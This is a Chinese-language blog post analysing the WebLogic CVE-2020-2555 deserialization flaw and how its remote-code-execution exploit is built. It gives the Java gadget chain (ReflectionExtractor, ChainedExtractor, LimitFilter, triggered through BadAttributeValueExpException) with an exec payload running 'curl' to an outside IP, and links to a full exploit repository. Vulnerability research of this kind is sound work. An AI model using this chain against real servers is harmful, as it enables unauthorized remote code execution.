Weblogic CVE-2020-2555 反序列化RCE EXP构造

警告
本文最后更新于 2020-03-09,文中内容可能已过时。

Weblogic 简直是个无底洞.

2020.03.06 早上4点,看到了清水川崎师傅推送了Weblogic CVE-2020-2555的通告,在推特上搜了一波,发现有详细的分析文章,遂有此文。

个人研究,没钱买补丁,这里借用Zero Day的图。

image

补丁中将LimitFilter类的toString()方法中的extract()方法调用全部移除,而我们需要知道在CommonsCollections5中可以利用BadAttributeValueExpException来调用任意类的toString()方法。

接着来看下没打补丁之前LimitFilter类的toString()方法。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public String toString() {
    StringBuilder sb = new StringBuilder("LimitFilter: (");
    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
    if (this.m_comparator instanceof ValueExtractor) {
        ValueExtractor extractor = (ValueExtractor)this.m_comparator;
        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
    } else if (this.m_comparator != null) {
        sb.append(", comparator=").append(this.m_comparator);
    }

    sb.append("])");
    return sb.toString();
}

toString()中会将this.m_oAnchorTopthis.m_oAnchorBottom作为参数传入ValueExtractor.extract(),补丁移除了extractor.extract()操作,跟进extract()看下,发现extract()只是一个抽象方法,并没有实现,那说明extract()ValueExtractor的子类中可以利用。因为是反序列化,所以我们只需要在ValueExtractor子类中找到实现了Serializable或者ExternalizableLite反序列化接口并且有extract()的方法。最终在com.tangosol.util.extractor.ReflectionExtractor#extract()找到了反射任意方法调用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public E extract(T oTarget) {
    if (oTarget == null) {
        return null;
    } else {
        Class clz = oTarget.getClass();

        try {
            Method method = this.m_methodPrev;
            if (method == null || method.getDeclaringClass() != clz) {
                this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
            }

            return method.invoke(oTarget, this.m_aoParam);
        } catch (NullPointerException var4) {
            throw new RuntimeException(this.suggestExtractFailureCause(clz));
        } catch (Exception var5) {
            throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
        }
    }
}

到现在为止我们可以传入一个Runtime.getRuntime()oTarget,将this.m_methodPrev赋值为exec,然后this.m_aoParam就是我们的命令参数,就可以RCE了。而对于反序列化而言,我们需要继续构建对象,让他自己执行Runtime.getRuntime(),这里很像cc链中的InvokerTransformer.transform(),那有没有像cc链中的ChainedTransformer类呢。遂找到了com.tangosol.util.extractor.ChainedExtractor#extract()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
@JsonbCreator
public ChainedExtractor(@JsonbProperty("extractors") ValueExtractor[] aExtractor) {
    super(aExtractor);
    this.m_nTarget = this.computeTarget();
}
public E extract(Object oTarget) {
    ValueExtractor[] aExtractor = this.getExtractors();
    int i = 0;

    for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
        oTarget = aExtractor[i].extract(oTarget);
    }

    return oTarget;
}

和cc5的构造很像,我们一步一步构造下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
    "getMethod",
    new Object[]{"getRuntime", new Class[0]}

);

// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
    "invoke",
    new Object[]{null, new Object[0]}

);

// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
    "exec",
    new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
);

首先先构造三个ReflectionExtractor对象来调用反射拿到我们想要的,然后把他放到ReflectionExtractor数组中,将数组通过构造函数赋值给ChainedExtractor

1
2
3
4
5
6
7
ReflectionExtractor[] extractors = {
    extractor1,
    extractor2,
    extractor3,
};

ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);

那到目前为止,只要反序列化执行了chainedExtractor.extract()就可以造成rce。而前文所说,toString()中是执行了extract()的,所以我们将chainedExtractor通过反射赋值给limitFilter对象。然后通过BadAttributeValueExpException触发limitFilter对象的toString(),进而触发extract()一步一步调用method.invoke(),继而通过反射拿到Runtime.getRuntime().exec(""),达成RCE。

  1. coherence.jar要使用和目标版本一致的,不然会有serialVersionUID不一致的问题。
  2. BadAttributeValueExpException对jdk的版本有要求。具体看这里

https://github.com/Y4er/CVE-2020-2555

https://y4er.com/img/uploads/20200310119395.gif

  1. https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
  2. https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR76
  3. https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。